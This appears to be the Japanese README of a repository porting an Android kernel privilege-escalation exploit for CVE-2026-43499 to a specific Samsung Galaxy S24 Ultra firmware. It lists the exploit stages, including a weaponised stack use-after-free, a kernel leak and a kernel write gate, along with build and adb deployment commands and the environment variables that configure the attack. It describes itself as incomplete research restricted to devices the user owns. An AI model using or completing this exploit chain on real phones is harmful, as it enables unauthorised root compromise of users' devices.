
CVE-2026-43499 の Galaxy S24 Ultra SM-S928U1 DZF2 向けリサーチポート(完了)
ファームウェア S928USQS6DZF2(アプリドメイン / 本番パス)上の米国版 Samsung Galaxy S24 Ultra を対象とした、CVE-2026-43499 のデバイス固有研究ポートです。
このリポジトリは CVE-2026-43499-S25U の S24U 版です。現在の不完全な進捗を記録しています。制御プレーンと残存スタック UAF の武装は完了していますが、クリーンなゲート書き込み(hits>0)はまだ達成されていません。
Model: SM-S928U1
Codename: e3q
Android: 14 / BP4A.251205.006 (display family)
Build / AP: S928U1UES6DZF2 / S928USQS6DZF2
Fingerprint: samsung/e3qsqw/e3q:14/UP1A.231005.007/S928USQS6DZF2:user/release-keys
Kernel: 6.1.145-android14-11-33419968-abS928USQS6DZF2
Architecture: arm64 / 4K pages
オフセットとレイアウトはこのファームウェアにのみ適用されます。エビデンスなしにビルド間で定数を流用しないでください。
| ステージ | 状態 |
|---|---|
| KernelSnitch mm リーク / ページ準備 | 実機で動作確認済み |
| バンク回収 + MSG_PEEK (owner=1) | 動作確認済み |
| 古典的 EDEADLK 残存スタック UAF の武装 | 動作確認済み |
| スタック配置 (nfds ≤ 320, 残存ベース shift=2) | 動作確認済み |
| prio 120(139 ではない)での early-exit 一致 | 動作確認済み |
| early-exit 下のソフト書き込みジオメトリ | 安全に配置済み。walk なし |
REPLANT + walk_nice による強制 adjust_pi walk | 実証済み。現時点では常に KP |
ゲートオラクル hits>0 | 未解決 |
| Pipe phys-rw / Android root / KernelSU | 未到達 |
ブロッカー: walk 安全な残存ジオメトリ。真の RB_EMPTY 配置には残存カーネル VA(APP_STAMP_RESIDUAL_ADDR / APP_STAMP_OVERLAY_BASE)が必要です。偽造ツリーと KEEP オーバーレイ(FD_ZERO でゼロになる)は強制 walk でパニックします。docs/PROGRESS.md を参照してください。
agent/s928u-bp4a-251205-006(E3Q DZF2)に由来しますApache License 2.0: LICENSE.
e3q-S928USQS6DZF2(物理 P0 オラクル、バンクレイアウト、DZF2 向けパイプジオメトリ)。cve-2026-43499-app.so)と slide_app.c:残存スタンプ配置、soft_match、REPLANT walk、walk_nice、NO_PLANT、EMPTY 配置フック、バンクピーク、ドレイン配線。O_APPEND ログオープン付きルートヘルパー(親/子ログの上書き破壊を回避)。export ANDROID_NDK_HOME=/path/to/ndk # e.g. r28 / API 34 clang
make -j$(nproc)
# or:
make app API=34
出力:
build/e3q-S928USQS6DZF2/cve-2026-43499-app.so
build/e3q-S928USQS6DZF2/cve-2026-43499-root
build/e3q-S928USQS6DZF2/cve-2026-43499 # optional standalone
シリアル R5CXB20H9FD(研究機の例)に対する Windows ADB(またはホスト adb):
# Prefer the rebuilt helper (O_APPEND logs), not only the APK copy.
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-app.so /data/local/tmp/
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-root /data/local/tmp/
adb shell "run-as dev.busung.s25uroot sh -c '
mkdir -p files/payload-overrides/e3q-S928USQS6DZF2
cp /data/local/tmp/cve-2026-43499-app.so \
files/payload-overrides/e3q-S928USQS6DZF2/
cp /data/local/tmp/cve-2026-43499-root files/
chmod 700 files/cve-2026-43499-root \
files/payload-overrides/e3q-S928USQS6DZF2/cve-2026-43499-app.so
'"
export APP_STACK_UAF_STAMP=1
export APP_STAMP_PLANT=soft
export APP_STAMP_SOFT_MATCH=1
export APP_STAMP_FIXED_SHIFT=2
export APP_BANK_VALID_ROOT=1
export APP_STAMP_STATUS_PATH=/data/user/0/dev.busung.s25uroot/files/stamp_status_last.txt
# run via helper --run-payload ... (see docs/PROGRESS.md)
# After soft_match plant: change residual prio then force task nice change.
export APP_STAMP_REPLANT_WALK=1
export APP_STAMP_WALK_PRIO=100
export APP_STAMP_WALK_NICE=18 # must differ from first nice (default 19)
# Prefer EMPTY bank for some paths; still KP without residual kVA EMPTY plant
プラントシフト 0–4 を再スキャンしないでください。ベース 2 が確立済みです。
| ドキュメント | 内容 |
|---|---|
| docs/PROGRESS.md | マイルストーンマトリクス、OBS/SRC の主張、中断箇所 |
| docs/ENV_REFERENCE.md | スタンプ/バンクパス用の環境変数 |
| docs/RUN_HISTORY.md | デバイス実行履歴の要約(RUN047–062) |
所有しているデバイス、または明示的にテストを許可されたデバイスでのみ使用してください。このツリーはロックされた本番携帯電話パス向けの研究ソフトウェアであり、完成した root や KernelSU インストーラではありません。
KernelSU 統合は、信頼できる pipe/phys 書き込みと root パスが存在するまで対象外です。このリポジトリを KSU 対応済みとして扱わないでください。